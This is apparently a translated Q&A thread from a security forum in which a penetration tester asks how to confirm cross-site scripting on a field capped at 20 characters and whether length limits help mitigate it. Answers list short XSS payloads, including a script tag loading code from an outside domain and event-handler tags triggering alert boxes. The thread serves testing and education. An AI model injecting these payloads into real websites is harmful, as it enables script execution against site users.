Verifica dello scripting cross-site su un campo che non accetta più di 20 caratteri

11

Durante l'esecuzione dei test di penetrazione, sono rimasto bloccato fino a un certo punto. C'è un campo di testo che non accetta più di 20 caratteri (convalida lato server). Ho inserito il seguente codice per verificare XSS (dal cheat XSS di RSnake):

'';!--"<XSS>=&{()}

e verificato l'origine per <XSS verses &lt;XSS per vedere se è vulnerabile. Ho ottenuto <XSS nella fonte che suggerisce che questo campo è vulnerabile allo scripting cross-site.

Ora sto provando a creare un codice che dovrebbe essere inferiore o uguale a 20 caratteri e potrebbe essere eseguito su questo campo per confermare l'XSS, ma lo trovo difficile. Quindi in questo caso ho fondamentalmente due domande:

1: Qualcuno può aiutare con questo pezzo di codice?

2: Per mitigare XSS, la convalida per la lunghezza massima (15-20 caratteri) potrebbe essere una delle opzioni oltre alla combinazione di convalida dei dati + codifica HTML? Si prega di presupporre che le regole aziendali concordino con il limite di 15-20 caratteri.

Spero di essere stato in grado di spiegare la domanda e lo scenario. Gentilmente fammelo sapere in caso di dubbi.

    
posta p_upadhyay 14.06.2011 - 08:39
fonte

3 risposte

9

Adoro l'ironia. Ecco la linea che sarebbe stata la mia risposta. E l'errore che ho ricevuto per averlo pubblicato.

<script src=//h4k.me

Oops! La tua risposta non può essere inviata perché:

il corpo deve contenere almeno 30 caratteri; hai inserito 20

Utilizza la rifusione delle variabili se possibile prima di elaborare l'input (in caso contrario, regex per lanciare < 's / s, ecc.)

    
risposta data 14.06.2011 - 09:18
fonte
5

Oltre allo script fornito da Ori, ci sono alcuni altri script che potrebbero essere utili in questo caso: -

<a href=http://a.by>
<a onclick=alert(2)>
<b onclick=alert(2)>
    
risposta data 22.06.2011 - 11:19
fonte
0

Il payload XSS più breve che abbia mai visto che apre una finestra di avviso e non richiede l'interazione dell'utente è il seguente:

<svg/onload=alert()>

Tuttavia, se l'unico requisito è che deve essere utilizzabile per i test di vulnerabilità XSS, questo è il più breve possibile:

<

Dovresti solo visualizzare l'origine della pagina per vedere se scrive < o &#x3C; nella pagina, quindi non è così veloce

    
risposta data 07.07.2017 - 05:46
fonte

Leggi altre domande sui tag